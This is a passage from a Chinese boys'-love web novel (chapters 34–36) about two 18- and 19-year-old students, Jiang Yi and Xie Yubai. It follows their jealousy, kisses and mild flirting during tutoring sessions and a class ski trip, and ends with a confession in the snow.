他的手劲轻柔了一些,江逸配合地闭上了眼睛,享受了一会儿。按摩完,谢逾白把江逸的睡衣扯开,露出肩膀上的伤痕,很久以前咬了一口,现在还有淡淡的印记,他拇指擦过皮肤,“怎么这么久还没下去?” “我是疤痕加皮肤敏感体质。” “什么意思?” “我很容易留疤,伤口愈合慢,皮肤敏感容易过敏。” 谢逾白呼吸一窒,“早知道当时不该咬你的。” “你说什么屁话呢?刚刚谁咬我嘴唇咬上瘾了?” 谢逾白把人捞起来,放到书桌上,玻璃上映着江逸的剪影,窗外树影晃动,今晚的一切好像梦里一样。 他双手穿过江逸的腋下,把人搂住,心塌了一块,“你今天受伤,我的心情,你想象不到。” “我是想象不到,你的样子跟我要死了一样,脚踝离心脏那么远,你怕什么?” “今天之前,我怨你,你怎么那么狠心?” 江逸偏过头,不想搭理他,谢逾白捏着他的下巴,把人掰回来,“这些天你怎么想的?真不想理我了?” “我俩到底谁不理谁?我跟你说话,瞧你那样?” “我气得要死,怎么可能平心静气跟你说话?有你这样的?前一刻亲亲我我,弄了我一脸,转脸跟我说结束吧。” 江逸有点心虚,表面撑着:“那件事是你自愿的,我不能说吃亏,我也是第一次,我觉得互不亏欠。” 谢逾白抚摸他的后脑,“你第一次被别人摸?” “哼。” “接吻呢?第一次也是我?” “记不得了。” 谢逾白轻笑,手指抚摸他红润的嘴唇,“你知不知道,你的唇跟所有的人不一样,时时刻刻勾引人亲你。” “你是淫者见淫。” 两根手指捏了下他的唇,谢逾白语气下沉:“上次跟傅现吃饭,他让你擦嘴唇,他没有夸张,我一开始也以为,这男生好不正经,上学用唇膏。” “你们都有病。”江逸从他怀里出来。 谢逾白眉宇间拢着层淡淡的冷意,瞳孔有着深深的情意。 “谢逾白,我不知道怎么跟你表达,本来没想这么快跟你重新开始,我热爱自由,个性比较强,我们之间,也许很难调和。” 谢逾白捧着他略微惆怅的脸颊:“以前是我不好,不懂得迁就你,会给你添麻烦,以后我会克制自己,多忍耐。” “瞧你说的,跟我多不讲道理似的。” “我抱你去洗漱睡觉?” “等下。”江逸眼眸看着他,扯着谢逾白衣领,含住那片温热的唇,细细品味。 他的手从后颈滑到谢逾白的背,卷着他的舌头,牙尖轻磕,看着谢逾白唇上泛开的红。 江逸眼尾含着水光笑:“疼吗?” “还好。” 江逸堵住他的唇,唇齿反复扫过彼此泛红的地方,温柔地舔舐他的口腔内壁每个角落。 谢逾白不动,他手脚已经麻了,江逸软滑的舌像慢性毒.药,将他一点点麻醉,他感觉自己木木呆呆的,像个稻草人,任他摆弄。 每被他舔到一处,那处又麻又舒服,他受不住了,裹住江逸的舌,跟自己缠在一起。他吸吮着,恨不得一直让他在自己的口腔里。 直到江逸轻呼一声:“放开。” 谢逾白面色发红,微微退开。 江逸仰头啄了下他的唇角,眼眸笑意盈盈:“你刚刚做什么了?” 谢逾白声音哑然:“没什么。” “我不让你动,不是让你禁锢我。” 谢逾白咬着下唇,眼底情.欲缭绕。 一只细白的手搭在他的裤腰上,江逸眼睑稍抬,琥珀色眼里笑意盎然,“你……” 谢逾白手慌忙抬起,捉住那只捣乱的手,“你别这样。” “让我看看,我不动。” 谢逾白声音沙哑:“你不是看过?” “以前没仔细看,现在感兴趣了,给我看看。”江逸一脸暧昧地看着他,唇角的笑明晃晃的。 谢逾白很不安,眼睫垂下抬起,闭了闭眼,又睁眼,“今晚不行。” “假正经,闷骚。” 谢逾白垂下眼睑,薄唇抿着:“你受伤了,我要照顾好你,不能跟着你胡闹。”他把人抱起来,放进洗手间的浴室柜台面,挤好牙膏,对江逸说:“张嘴。” “干什么?” “给你刷牙。” 江逸眼尾斜瞥,唇角软乎乎地翘着:“你能不能别恶心我了,当我三岁小孩?要你给我刷牙。松手,牙刷给我。” 两人对着同一面镜子一起刷牙,感觉很奇妙,有些匪夷所思,又出奇地和谐。 谢逾白看着镜子说:“如果时间能停留在现在就好了。” 江逸嘴里的水差点喷出来,他漱完口,“你能不能别在我嘴里有水的时候,逗我。” “我逗你什么?” “你说话的方式,比我二姨夫还要土。你真的只有十九岁吗?” “过完年二十,你过年后十九?” “嗯。没想到相差一岁,我们竟然有代沟。” 谢逾白把人安顿在床上,“枕头舒服吗?会不会太矮?” “挺好。” “被子厚不厚,我记得床下有一套薄一点的被子,你平时容易出汗。” “不用,这套就可以。”床上平时摆着两床被子,江逸没那么挑剔。 “需要我帮你脱衣服吗?” 江逸眼尾眯成缝,唇角勾着笑,手指戳他的胳膊,“谢逾白,你到底要干什么?让我扒光了睡你床上?” “我不是那个意思,你在家裸睡,我问问看你用不用我帮忙。” “这是你家,不是我家。我能在你家那样?快睡吧你。”江逸闭上眼睛,脸颊微微发热,他给人留下的印象,有点不太正经。 “你晚上有任何不舒服,想喝水,起夜,记得叫醒我。浴室地滑别摔倒了。” “别婆婆妈妈了,行吗。”江逸闭上眼睛,不知怎么回事,他有点睡不着。尽管他一直表现得很淡定,摔倒那一下和接下来去医院,他心里有一点慌。 好久了,遇到突发事情有人在身边的感觉,挺不错的。 谢逾白一直留意他的微小动作,甚至他呼吸的幅度,这不是江逸第一次在他家里过夜,却是他们之间氛围最和谐的一次。 他手指慢慢贴近,碰触江逸后颈的碎发,他的头发很蓬松,凑近闻有淡淡的洗发水香味,谢逾白从来没发现自家的洗发水味道这么好闻。 手指缠绕一根发丝,他鼻翼嗅着清香,很快有些困倦。 半夜,他听到一声刺耳的声响,谢逾白立即睁开眼,眼前黑乎乎的,适应了一会儿,看到地上有一个黑色身影,“江逸?你在地上?” “嗯。” “你想做什么?为什么不叫醒我?”谢逾白长腿一迈,下地扶住他的肩膀,“你要去哪?” 黑暗中,江逸脸色有点不自在,“我想去卫生间。” “我陪你。” 到了卫生间门口,江逸推开他,“我自己进去。” 谢逾白语气不容置疑:“卫生间瓷砖很滑,你的脚二次伤害怎么办?” “我要方便,你跟进来算怎么回事?”江逸之所以没叫醒他,就是觉得难为情。 “你方便你的,我又不是没见过。”谢逾白搂住他的腰,把人往里面抱,贴着他的耳朵说:“我舔过,咬过,你还怕我看?” 草草草,江逸脑子里万马奔腾,仅有的迷糊睡意被赶跑了,“谢逾白!那能一样吗?你给我滚出去!” 谢逾白语气淡定,“你不用我帮忙扶着?你的手要扶着墙面保持平衡。” 他是怎么一本正经说出这种话的!江逸咬着牙:“你立刻滚出去!” 第34章 你想我了吗? 江逸拄着拐杖, 脚一瘸一拐地往教室走。“江逸!江逸!”身后有人叫他。 江逸费力地稳住身形,没等转身,有人轻拍他的肩膀。 傅现眼瞳黑亮, 健康肤色透着阳光感,笑得脸上有个酒涡。 “你怎么在学校?没去参加物理竞赛?” 傅现长叹一口气:“也许是笑话谢逾白太多次,遭了报应。前两天我跟暗恋一年的女生表白,被她拒绝了。” “啊,这……所以你没去考试?怎么能这么草率?” “我数学竞赛保送京大了,所以也没什么。” 江逸:“……” “我他妈的多余同情你那一分钟。” 傅现表情哀怨地看着江逸, 眼神在他脸上黏黏糊糊地看。 “你有病?” “我失恋了, 你要负责。” “你失恋了,我负什么责, 拒绝你的人又不是我!” 傅现皮笑肉不笑:“我喜欢的女生, 拒绝我的理由, 她喜欢的人是你, 这几天她打算跟你告白。你说,我找你有没有道理?” 江逸眉梢上挑, 下颌微抬, 唇抿着, “这种事我负责不了,跟我表白的那么多,这么推理下去,我有没有自己的生活了?” 傅现抢过他手里的拐杖,把他胳膊架在自己的肩膀上,“没事,你不用做什么,你腿脚不好, 我照顾你。过了这几天,我心情恢复了就滚了。” “你失恋,赶紧寻找下一个,在我身上浪费什么时间?我烦的事够多了。” “你烦什么事?” “数学,物理,化学,英语。” 傅现笑出声,“哥们,这些烦恼交给我,早晨跟我去个地方,我给你解决。” 傅现把他带到学校一栋教学楼的天台,他用钥匙打开门。天台的地面灰扑扑的,偶尔有点垃圾,有张石制的桌子,四个户外小凳子。 “坐吧,这里没人来,学生会的才有钥匙,平时我负责检查安全。我去看你的球赛了,篮球场上你也太帅了吧,难怪那么多女生被你俘获了。” 江逸语气毫不在意:“一般吧。” “你听说了吗?故意对你犯规的队长,陈放,他被开除篮球队了。” 江逸第一次听说:“他怎么了?” “听说他前两天校外打架斗殴,这不是他第一次打架,这次性质恶劣,造成别人伤残,学校开除学籍,篮球队也把他踢出去了。连他们队的教练也被开除了。” 江逸松了一口气,挺解气,“恶人有恶报。” 傅现若有所思:“你觉得只是恶有恶报?” “不然呢?” 见他完全没头绪,傅现懒得再说什么,“你有哪些题目不会?拿出来。” 江逸把之前谢逾白教他的数学卷子拿出来,还是那道题。 傅现只看了一眼,开始一步一步在草稿纸上写,他先画出已知条件,推理出一个步骤,再回头画另一个条件,继续推理。有条不紊,讲解明晰。全程语言十分接地气。 江逸不明白的地方,傅现细细解答,翻开数学书,告诉他在第几页。一道题讲完,江逸真的听懂了,他疑惑地看着傅现:“你这么厉害,这样下去,我快迷上你了。” 傅现眼瞳骤亮:“这话你能不能对温梨初说一下。” “谁?” “我暗恋对象。” “不认识。” “草!你不认识,她怎么喜欢你的!” 江逸想了想:“有没有可能,她只是随便想了个人名,想拒绝你而已。” “……滚。” “你还有什么题目不会?” “这张卷子,后三道大题,我都不会。” 傅现看他一眼,“你上课时间在干什么?” “之前在网吧打工太困了,有时候在睡觉。打完球总觉得累。” “原来是这样,难怪我总觉得你阳气不足。” “你他妈的才阳气不足。” 傅现把三道大题全部给他解决了,看着他的脸,微微怔了怔。 晨光斜照在江逸侧脸,瞳孔是浅棕的琥珀,鼻梁挺得秀气,面庞清爽得像晨露。 “你长得真好看,难怪她喜欢你。”傅现神情黯淡。 “你长得也不赖,早晚会遇到喜欢你的女孩。” 傅现眼神迷茫:“真的吗?” 江逸拍了拍他的肩膀:“真的。” “我中午可以在这等你吗?我失恋的事不好意思跟朋友提。” “我的脚,自己一个人上不来。” “中午我给你开电梯,我们坐电梯上来。” “你还有这权利?” 傅现:“我只有这点权利。我先去买饭,到时候一起吃饭。” 江逸从包里摸出饭卡:“我吃咖喱鸡排饭,食堂四楼,右边转角那家。” 傅现:“……” 他语气哀怨:“如果温梨初跟你表白,你可不可以狠一点拒绝她?” 江逸歪了下头,“我拒绝人一向利落,放心。” “你打算怎么说?” 江逸略微思索:“我名草有主了。” “你跟谢逾白,你俩来真的?” “试试看。” “草,牛逼。” 傅现抓了抓头发,“这么多女生前仆后继地喜欢你,你长得这么惹眼,为什么选择他?” 江逸手肘放在石桌上,掌心贴着下巴,手指在脸上敲着,他没仔细想过这个问题,现在琢磨着,还有点不好意思,“可能是我喜欢清冷美人,再就是他比较会卖惨。” 一开始,他对谢逾白有些怜惜,心疼,谢逾白状态不好,看他痛苦的样子,江逸会不舒服。慢慢演变成越来越多的在意,得知他一直喜欢的人就是自己,江逸没有过这种感受,有些震撼。 他喜欢谢逾白身上那股劲儿,高傲的,清冷的,深情的,痴傻的。江逸很难相信一个人,不知为什么,他相信谢逾白,相信他说的喜欢。 傅现:“收收你脸上恋爱的腐朽气息,我这个情场失意的人,看着扎眼。” “收收你学业得意的得瑟模样,我看着不爽。” * 谢逾白赶第一趟高铁回家,家里冷冷清清,他早料到了,他去京市,江逸一定会离开。清晨,他早早来到教室等人。 他捧着保温盒,心里充满期待,早自习快结束了,他扭头看,江逸的座位还是空的。 林飞羽见他回头好几次:“学霸,你找逸哥?” “没有。” 林飞羽:“?” 在谢逾白又扭头了两次以后,陈最说:“谢总,逸哥被傅现拐跑了,这几天我们也没见到他人影,下课就消失。” 下了第四节课,进入午休时间,两个人影亲密无间地停在走廊。江逸的脚还有点不舒服,傅现手在他的腰上,向上托着他的胳膊,两人边说边笑,江逸脸上的笑容愉悦。 谢逾白眼神冷冷地站在门口。 傅现先看到谢逾白:“老谢,你考试回来了?题目怎么样?” 谢逾白语气强硬,“松开他。” 傅现被他的态度吓了一跳,松了手,江逸身体往窗边倾斜,腰一把被谢逾白捞住。 “我先回班级了,江逸。那道题我晚点发你手机。” “哦,好的,谢了。”江逸被谢逾白半拖半抱地出了教学楼,左拐右拐,来到一处没人的角落。 江逸挣脱他的怀抱:“你疯啦?在学校注意点。” 谢逾白心里的无名火压不住:“你跟他搂搂抱抱可以,我抱你不行?” 江逸困惑,“我什么时候跟他搂搂抱抱了?我脚不舒服,他给我借个力。” “他可以给你借力,我为什么不行?” 江逸脱口而出:“他抱我,我没感觉,你抱我,我……”他在说什么? “我抱你,你怎么?”谢逾白观察江逸的神情。 江逸肩线微绷,耳尖红透,抬着点下巴,装得不在意似的。 谢逾白心中微荡,把人拉进怀里,“你怎么了?怎么不说,我抱你你会怎么?” “没怎么。” 电话震动,陌生号码,江逸示意谢逾白等我一下,他接电话,“喂。” “是江逸同学吗?我是陈放,前几天跟你篮球打过比赛。” 江逸没好气儿:“我知道你是谁。” “对不起,那天我的错,害你受伤,所有医疗费用我一力承担。” “嗯?”他的态度出乎江逸的预料,这种无耻的人怎么忽然良心发现了? “请把卡号发到我手机上,医药费加赔偿费五万可以吗?” “……行吧。” “请问你什么时候有时间,我想跟你当面道歉。”陈放的声音诚恳。 江逸一阵恶寒:“你打钱就行,见面不必了。” 挂了电话,几乎不到一分钟,手机银行短信提醒,收到转账,又收到一条道歉短信,长长的一条,江逸懒得看,跟检讨书似的。 这么多年,江逸遇到不平等的事不少,第一次有如此顺利的,顺利得过了头。他狐疑地看着谢逾白,缓缓发出疑问,“这件事你做的吧?” 谢逾白眉梢松了松,唇角极轻地扬了下,“不然还能有谁?” 江逸眼尾瞥他,“你在这种人身上浪费什么力气?” “敢动你,我能饶了他?” “开除学籍也太狠了吧。” “我留余地了,你太善良,接受了他的道歉,否则,我会送他进监狱。” 江逸手指挠了挠谢逾白的下巴,“没看出来,你是个白切黑?” “你什么眼神?我一直是黑的,只对你白。”谢逾白眼神热切地看着江逸,他心尖尖上的人,一日不见,如隔三秋的思念。 “我想你,你想我了吗?”谢逾白鼻尖贴着他的侧脸,像干涸的旅人找到了泉水。 “我想亲你。”没等他回应,谢逾白扳着江逸的肩膀亲了上去。 擒住他柔软的唇瓣,谢逾白闭着眼眸,用自己的唇紧紧贴着江逸的,把他的两片唇含到自己嘴里,用牙齿啃咬,一下比一下重,“给我舌头。” 江逸耳朵热到不行。肩膀被狠狠捏了一下。 “给我。” 江逸颤颤巍巍伸出柔软的舌头,一下子被俘获。 谢逾白吮着他的舌,力气蛮横,用自己粗粝的舌面跟他的舌面反复摩擦,卷着他,耳边传来清晰的亲吻声。 江逸脸颊发烫,想退回,身体被压在墙面跟谢逾白之间,脸颊被他的一只手往前托,根本无处可躲。 这个吻很漫长,换了战地,谢逾白灵活的舌探进来,在他口腔里肆意翻动,一下一下深入顶到喉咙,江逸浑身发热,腿被谢逾白的腿固定着,快站不住了。 他面红耳赤,谢逾白微微放开他,眼神激荡,声音暗哑,“换气,江逸,你现在换气。” 他的手指不断抚摸江逸的绯红的脸颊,又要亲他,被江逸用手指抵住嘴唇,“你冷静一点,这是在学校,你要在这日我?” 谢逾白眼尾弯了个浅弧,把他紧紧按进胸膛,“可以日吗?” “可以你妹。” “你不能乖乖等我回来?身边非要有别人?” 江逸舔了舔被亲得发麻的嘴唇,“他是直男。” “我以前也是直男,你跟他保持距离。” “保持不了,他是我的贵人,我的专属辅导老师。” 谢逾白刮了下他的鼻尖:“我来做你的辅导老师。” 江逸直截了当地说:“你技术不行。” 谢逾白冷睨他。 江逸手攀上他的肩膀,眼尾弯得妩媚,“你讲题不行,你接吻行啊。” 谢逾白捏了下他后颈,咬着他的耳垂说:“我讲题也行,用我。” 第35章 动心的只有你 傅现清早就来班级里报到, 在江逸身边黏黏糊糊的跟个花蝴蝶似的。 谢逾白烦躁地往后瞥了几次。 傅现快速解决江逸几道物理题,趴在他桌子旁边,双腿向后翘着:“你班开始统计了吗?元旦旅行安排去度假村旅行三天, 滑雪温泉,你报名吗?” 江逸把他写下来的笔记整理到错题本上,“不去。” “为什么?” “忙。” 傅现把他手里的笔拿走,“你一个人瞎忙什么?效率很低,你跟我去,我给你讲题。” 江逸抱臂看他:“你天天去疯玩, 我哪里找你去。” 傅现对他眨了眨左眼:“我自有安排, 去嘛,一起去玩嘛。” “你怎么像个巨婴似的, 玩还要人陪着, 我不去, 肯定挺贵的。” “三千, 包吃包住,多划算。” 江逸嗤笑:“谁脑子被驴踢了?还觉得划算, 一边待着去。” “我给你交钱, 你去。” 江逸察觉出来不对劲, “你是不是有什么阴谋?” 傅现挠了挠头,“最近我女神看到我跟你在一起,对我另眼相待,有事没事找我聊天,让我出谋划策。在我的策划之下,她决定这次旅行跟你告白。” 江逸用看傻子的表情看他:“你没事吧?” “你懂什么,她在你这吃瘪,我恰当时候出现, 安慰她,陪着她,机会不就来了?” “你能有点出息吗?费这么多脑筋,这个不行,换下一个。” “我已经保送了,要怎么有出息?脱单对我来说就是最重要的。” 江逸笑骂:“舔狗。” “去吧,当我这段时间给你补课的补课费。行不?” 江逸略微思索:“你每天再多给我补两个小时,我就答应你。” “这么剥削人?我吃饭时间都要被你榨干了。” 江逸微微一笑:“就是要榨干你……” 他猝不及防地对上谢逾白的眼眸,加了句,“的剩余价值。” 出发当天早晨,两个班级刚好分到了同一班车,江逸一上车,傅现招手,“来我身边坐。” 他脚步刚要迈过去,身后传来一声咳嗽声,低低的,带着点警告的意味。 谢逾白扯了下他的袖口,示意江逸坐到另一边。 江逸对傅现摆摆手,坐到谢逾白指定的靠窗位置,谢逾白动作自然地坐在他旁边,微微侧身,挡住傅现的视线。 没想到,傅现站了起来,走了过来,先递给江逸一个笔记本,“我昨晚整理的物理知识点,你模考之前背下来。” 江逸翻开,写得很用心,各种颜色标注的重点,“我一定努力消化。” 傅现递过来一份煎饼果子,一杯珍珠奶茶,“给你买的早餐。” “你怎么知道我喜欢吃煎饼果子?” 傅现指了指自己的双眼,“学霸敏锐的洞察力,你上周吃了四次,肯定很喜欢。” 谢逾白勾唇冷笑,“你,学霸?” 他一副你在我面前自称学霸,好意思吗? “学霸不只你一个。” 谢逾白眉宇冷淡:“我没说过自己是学霸,我没你那么不要脸。” 傅现耸耸肩,给江逸递了个眼神,回去了。 江逸刚想给奶茶插吸管,谢逾白冷着脸递来一个保温杯,“我早晨做的。” 拧开盖子,江逸闻到了浓香的豆浆味道,“这么早,你不多睡一会,做这个挺累的吧。” 他看着谢逾白。 谢逾白长眉斜挑,双眸深沉,唇色淡淡,下颌微收,气质清傲。 不知不觉,江逸看得心脏微动,眼睛眨啊眨,谢逾白长得很有味道,跟他这种直观的俊逸不一样,清清淡淡,像远山清雪。 谢逾白递过来一个保温盒,打开筷子,里面装着六个小笼包,这是江逸见过长得最奇怪的包子,包子上的褶皱分布不均匀,形状各异,“这些,该不会是你包的吧?” “很奇怪?” “还行。” 谢逾白呼出一口气,把保温盒拿回去,声音冷淡:“既然你喜欢吃煎饼果子,你吃吧。” 他的手被握住,江逸把保温盒放到自己腿上,“我今天想吃小笼包。” “煎饼果子怎么办?” “你吃?” 谢逾白刚想说他已经吃过了,把话吞了进去,“好。” 江逸直接用手拿起一个小笼包,一口全放进嘴里,腮帮子鼓鼓的。 “你慢点。” 谢逾白拧开矿泉水,在手里拿着,“小心噎到。” 大巴车刚好启动,一个惯性,江逸身体往他这边歪了一下,谢逾白手里的矿泉水不偏不倚刚好洒在江逸胸口。他今天穿了件黑色针织毛衣,湿了一大片。 两人对视,谢逾白表情凝固,江逸噗一声笑了出来,“你干什么啊?大冷天玩泼水节?” 谢逾白递过来纸巾,“你擦擦,怎么办?一会儿下车会冷。” 江逸看了看周围,没人看过来,前面座椅的靠背挺高的,挡住了别人的视线,他靠近谢逾白的耳朵:“你是不是故意的?” 谢逾白扬眉:“我有那么无聊?你感冒了怎么办?” “你真一点情趣也没有。撩起来好没劲。” 谢逾白低垂着眼眸,双手攥紧又松开,手慢慢靠过来,抓住江逸的右手,包裹住。 江逸抿唇轻笑,用只有两个人能听到的声音说:“逾白哥哥,你牵着我的手,我怎么吃饭?” 谢逾白面色微红,紧抿着嘴唇,双眸深邃明亮,手指捏着江逸的指尖,一根根捏了一遍,然后手指穿过他的,十指相扣。 “谢逾白,请你不要对我的手做奇奇怪怪的事情。” 江逸用左手吃东西,眼波流转。 谢逾白对上他的眼眸,呼吸一紧,露出清浅的笑容。 来到酒店,谢逾白来到房间,两人一间,他跟陈最一间,让人无语的是江逸竟然跟傅现一个房间。傅现的部门负责分配房间,很明显他是故意的。 谢逾白来到前台,打算开一个套房给江逸,被告知由于新年旅游旺季,所有的房间全没了。 想到江逸要跟傅现一个房间两天晚上,谢逾白十分不安,在他以为已经是他心情最差的时候,林飞羽跑进来喊,“陈最,校花要跟逸哥表白了,场面可大了,有烟花秀,我们快去围观。” 陈最下意识看向谢逾白,对方脸上毫无表情。 陈最打圆场,“你胡说什么,怎么会有这种事?女孩不会这么做的。” “真的,我哥们帮她放烟花,一旦逸哥同意,立刻放烟花。真羡慕啊,逸哥女生缘真好。校花长得漂亮,白妥妥的富美,平时她谁也看不上,怎么相中逸哥了。校花校草,名副其实的一对。” 陈最头疼:“闭嘴吧你,八字没一撇,你别瞎说了,给人添堵。” “我给谁添堵了,你快点跟我走,别错过了。” 他拉着陈最往外走。 陈最对着谢逾白说:“谢总,我去看看,什么情况我告诉你。” 谢逾白在床上坐了一会儿,脚像长了根一样往公园的广场走。 天空飘起了雪花,暗黄的路灯下,雪片飞舞,像一个个精灵起舞,浪漫又唯美。 很适合表白的天气。 他在雪地里走了很久,周围同学笑意盎然,欢呼雀跃,打雪仗的,堆雪人的,拍雪景,拍合照的。 谢逾白像一个旅途疲惫的人,身心俱疲。 他转了三圈,终于在几颗松柏后面发现了熟悉的身影。 江逸身着黑色短款羽绒服,搭配深蓝牛仔裤,单手插兜,姿态闲适。 他深栗色头发在风雪中飞舞,侧脸白皙泛着微光,挺直的鼻梁到微微翘起的鼻尖,清隽精致,在这漫天飞雪中宛如自带光晕。 谢逾白走到一棵树旁边停住脚步,不至于打扰,又能听清楚对话的位置。 温梨初:“江逸,你还记得我吗?” “我记性不好。” “我给你提示吧,两个月前,我去酒吧,你特意提醒我女孩子晚上不要喝那么多酒。” “是吗。” “当天我跟你要微信,你竟然没给我,你怎么这么高冷啊。” “你有事吗?我同学找我。” 温梨初看着他完美的脸,心脏扑通扑通的,“江逸,我喜欢你挺久了,找你好几次了,你好像记性不太好,对我也没什么印象。借助这次机会,我想把我的心意告诉你。等等,你先不用拒绝我,我只是单纯地想告诉你,我喜欢你。” 江逸没打断她。 她继续说:“你没暗恋过别人吧,你外貌这么优越,喜欢的人肯定直接在一起了。我是第一次暗恋,我想告诉你,我知道你生活很不容易,那么晚了你还要去打工,我很心疼你。我想鼓励你好好生活,因为在你不知道的角落,或许会有人跟我一样,默默喜欢你,默默心疼你。” 她有着一头黑长直的头发,眼睛乌黑明亮,对江逸嫣然一笑:“我跟你说完了,好舒服啊。江逸,一起加油吧,祝福你考取理想的大学。” 江逸声线清和,礼貌疏离,“嗯,谢了。” “我还想问问,你喜欢什么样的人?如果你感到不适了,可以不回答。” 江逸望着天空簌簌落下的飞雪,万物变得洁净,让人心情变得柔软纯粹,“我啊,喜欢清冷美人。” 温梨初泄了气似的:“肯定不是我了,我是个话唠,祝你早日修成正果。” “谢谢了。” 江逸迈腿往回走,走了一段路,觉得今天景色格外美丽,尤其是雪松上面挂满了冰晶,他拍了个照片,发给谢逾白。 对方没回,他在忙吗?江逸拨打电话。 电话响了几声。谢逾白接听。 江逸:“喂,你在酒店吗?出来玩吗?外面下雪了。” 谢逾白没说话。 “你吃晚饭了吗?酒店有自助,温泉那边有烤串,一起去吃?” 听筒里仍然没声音。 “谢逾白你手机坏了?喂喂喂。” 江逸听到身后有轻微的脚步声,他转头一看,默默尾随在他身后的人,正是谢逾白。 他穿着灰色毛衣跟深色休闲裤,站在雪地里,身姿挺拔修长,犹如雪中独立的青松。 他深邃的眼眸透着一丝难以言说的情愫,像是藏着漫天星辰,又似有万语千言欲说还休。 两人视线交汇,有种一眼万年,我一直在等你的感觉。 江逸向后跑了几步,快要扑进他怀里才停下脚步,“你外套呢?怎么穿得这么少?” 谢逾白脸色苍白,手指冻得通红,耳朵也红了,江逸捂住他的耳朵,入手冰凉,“你哑巴了?我给你打电话不说话,现在也不说话。” 谢逾白呼吸很轻,眼神空荡荡的,哀怨地看着江逸。 “你怎么了?有什么事不开心?” 江逸去拉他的手。 谢逾白躲开他的手,大步往前走。 这模样又生气了?江逸实在不忍心,他脱下羽绒服,一股冷风彻骨地袭来。他把羽绒服罩在谢逾白肩膀,羽绒服被一把拉下,送回江逸怀里。 谢逾白面无表情继续往前走,被江逸拉住胳膊,“你怎么了?怎么又耍脾气了?” 谢逾白力气很大,江逸用尽全力把人拖到一棵树后,两人撞到了松树,树顶的雪哗哗落了下来,江逸脸上头上全是雪,他没穿外套,雪顺着脖领往里面灌进去,“凉死了!” 雪落在谢逾白的脸上,头发上,鼻梁上,他像个雪人,一点反应也没有。 江逸笑着拂去他脸上的雪,“你鼻梁上还沾着雪。” 他摸了摸谢逾白的耳朵,靠近他,在他唇上啜了一口,在安静的雪地里声音很清晰,“谢逾白,你好好看。” 谢逾白的声音比冰雪冷:“你喜欢清冷美人,为什么还对我这样?” 江逸眨了几下眼睛,反应过来,扑过去,搂住他的脖子:“你刚刚听到了,所以不高兴了?” 谢逾白心如死灰,眼中的光越来越黯淡:“江逸,别仗着我喜欢你,就可以戏弄我。你可以不喜欢我,不能这么对我。不管你喜欢的是谁,我……” “你什么?” 江逸看着他,“你说完这句话,你打算如何?” 谢逾白声音凄然:“我可以退回原来的位置,不会打扰你。” 江逸眼里柔情似水,“可是怎么办呢?我说的清冷美人就是你,谢逾白。我唯一一次心动的对象,就是你。” 谢逾白的呼吸一滞,原本死寂般的心,像是被一道光照入。他双眼直直地看着江逸,眼神中满是惊愕。 他艰难吞咽,声音干涩:“江逸,我再给你一次机会,不会容许你收回,你刚刚说的话,你再说一遍。” 江逸手指划过他的眉宇,他的眼尾,点了点他鼻尖上的美人痣,“我喜欢的只有你,动心的只有你。” 确定江逸眼中的深情并非虚假,谢逾白眼中重新焕发出熠熠光彩,他的嘴角抑制不住地向上扬起,发自内心的喜悦从他的每一个毛孔中散发出来。 他用手捂住眼睛,深吸了几口气,试图平复内心如翻江倒海般的情绪,“江逸,我从来没做过这么真实的美梦。暗恋的人,做过最美,最不切合实际的梦,就是我喜欢的人,终于有一天,喜欢上了我。” 江逸走上前,漂亮灵动的双眸情真意切,在他唇角印下一个轻柔的吻:“恭喜你啊,谢逾白,终于美梦成真。” 第36章 我在跟你告白。 谢逾白握住江逸的手, 眉梢微拢,手指用力掐江逸的手心,“你怎么这么招桃花?不能安分一点?” 江逸歪头, 嘴角轻扬,“你也是我这张脸招来的一朵桃花。” 雪纷纷扬扬地飘落,江逸白皙的脸干净纯粹,一双琥珀色眼眸明亮清澈,看上一眼,很容易让人沦陷。 谢逾白捏了下他的脸, “不让人省心。” 江逸抱住他的胳膊:“你自己总是操心, 这种表白我每周至少应付一次,你有什么不放心的。你不穿外套就跑出来, 多冷。” “你为什么说清冷美人?跟我有什么关系?” “你就是清冷帅哥, 当她的面我又不能那么说, 自然说成清冷美人了。” 他眉心一蹙:“我清冷?没有吧。” “高冷?” “也没有。” “纯粹不爱搭理别人。” “我没有不搭理你, 只是你身边人太多,我不知道怎么靠近。你在酒吧上班, 我有时间就会去, 你只是看不到我。” 江逸唇角勾起, “所以你就装病,让你姐姐接近我。” 谢逾白冷哼一声:“我如果会耍那种低级的手段,至于到今天才追到人?” 江逸侧头看他的眼睛,“你为什么不耍手段?” 谢逾白耳际微微发红,眼神游移不定,“因为我想让你真心喜欢我,不想勉强。” “哎呦,纯爱战神。”江逸凑近他, 在他发红的耳朵上轻吻。 两人回到酒店,陈最不在,房间里只有两人。 谢逾白身上的毛衣半湿,他双手一抬脱下,江逸凝神专注地看着他。 谢逾白脱下毛衣以后里面是件白色打底衫,他找到一件白色毛衣打算往身上套,被江逸抓住胳膊,人往床上推,上半身被迫躺在床上,他乌黑的眼眸有些不解地看着江逸。 “你学会叠穿了?”江逸撩起他的衣襟,往上推,手指抚摸他光滑紧实的皮肤,嘴唇贴上他修长的侧颈,若有若无地撩拨着,手指顺着他的脊背游弋。 谢逾白吞咽,喉结滚动间,眼中的眷恋愈发浓烈。 江逸听着他性感的喘息,心中更加兴奋,嘴唇贴着他的下颌线亲吻,流连到他侧颈动脉。顺着青色血管的纹路亲吻,血管微微凸起,毫无预警地含住他锋利的喉结,吮吸着,不安分的手往下,在解他的裤子纽扣。 谢逾白的嘴唇颤抖,呼吸逐渐急促,胸膛剧烈起伏,忽然被什么惊醒似的,猛烈坐起,按住江逸的手。 谢逾白手指颤抖,唇瓣微张,“江逸,别这样。” 江逸嘴角漾起笑容,明澈的眼眸斜睨,“别怎么样?” 谢逾白紧紧握住他的手腕,唇线绷紧,“我们好不容易走到今天,我想慢慢来。你对我认真点,进度别这么快。” 江逸看他一本正经,有些紧张的样子,眼睛微微弯起,“进度要怎么样?” “牵手,约会。” 江逸嘴角挂着一抹玩世不恭的笑,“跟你表明心意以后,连接吻不可以了?你忘了我刚刚说的话,我一点也不喜欢你,我们可以继续了吗?” 谢逾白剜他一眼:“你说什么?” “我们两个男生,矜持什么?”江逸桃花眼微微上挑,眼神落在他的腰腹,“让我摸摸你,看一看也行。” 谢逾白脸颊上涌起红潮:“你……” 江逸手指挑起谢逾白的下颌,笑容蛊惑,“看看而已,我不动你。” “别在这里,随时会有人,等我们回去。” 江逸扶额,“你像个小姑娘一样,磨磨叽叽,害羞什么?” 谢逾白把身上的白色T恤整理好,准备套毛衣,江逸扑在他身上,对着他的脖颈咬了一口,尖锐的牙齿刺破皮肤,又爽又刺激上头。 谢逾白被他突然袭击整懵了,没有防备,急促地哼出声。 